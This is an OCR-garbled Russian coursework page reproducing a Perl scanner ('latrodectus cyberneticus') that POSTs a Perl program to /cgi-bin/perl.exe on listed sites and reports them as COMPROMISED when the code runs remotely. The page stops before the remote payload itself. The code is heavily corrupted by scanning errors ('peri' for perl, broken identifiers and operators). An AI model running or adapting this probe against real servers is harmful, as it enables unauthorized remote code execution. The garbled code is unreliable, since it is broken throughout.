Лекция: Require 5.002; use strict;

use LWP: :UserAgent:

my $PROGNAME = «latrodectus cyberneticus»; my$VERSION = «1.0»; my $DEF_CGI_BIN =

"/cgi-bin":

# Имя интерпретатора peri на удаленной машине, # стоит попробовать и peri. exe, и peri. corn my

$DEF_PERL_PATH = "/peri. exe";

# Заносим в переменную $PROGRAM текст, начинающийся # после слов __END__, — нашу программу,

которая будет # выполняться на удаленном сервере ту $PROGRAM = join qq=^><DATA>:

$1 --1;

if (@)ARGV) {

for (OARGV) { probe($J } }elsif(i-tSTDIN){ while <STDIN> { chomp:

probe($_): } } else {

die «usage: $0 [site… ]\n»: }

subprobe { my $site= shift;

my $cgi_bin = ' ': my U)perl_path = ' '; my $pre_site = ' ' ;

if($site!~mff/ff) {

$cgi_bin = $DEF_CGI_BIN;

} if ($site.!~ /peri/) {

$perl_pa1:h = $DEF_PERL_PATH; } if ($site Г тГ//й) {

$pre_site = '//'; }

ту $ua = LWP: :UserAgent->new(); $ua->agent("$PROGNAME, v$VERSION"),

# Формируем полный uri интерпретатора

my$full_targ — 'http:'. $pre_si1:e. $site. $cg]._bin. $perl_path; printf "%-35s ", $site;

ff Открываем соединение my $req = HTTP: :Request->new( POST => $full_targ );

# Посылаем нашу программу

$req->content_type('appl].cation/x-www-forni-urlencoded' ); $req->content($PROGRAM);

# Получаем ответ my $res = $ua->request($req):

ff Проверяем, выполнилась ли наша программа if ($res->is_success) { if ($res->conten1: =~

/WWW Black Widow/) {

print "<< COMPROMISED >>\n"; } else { my $oops = $res->conten1:; $oops =~ s/\n/ /g;

print «APPREHENDED: $oops\n»; }

} else {

my $oops = $res->code. " ". $res->message; if ($res->code == 404) {

print «SAFE: $oops»; } else {

print «ERROR: $oops»; } print "\n" unless $oops =~ /\n$/;

} }

__END__

# Здесь начинается код, который будет выполнен на удаленной и машине. Сначала

еще рефераты
Еще работы по информатике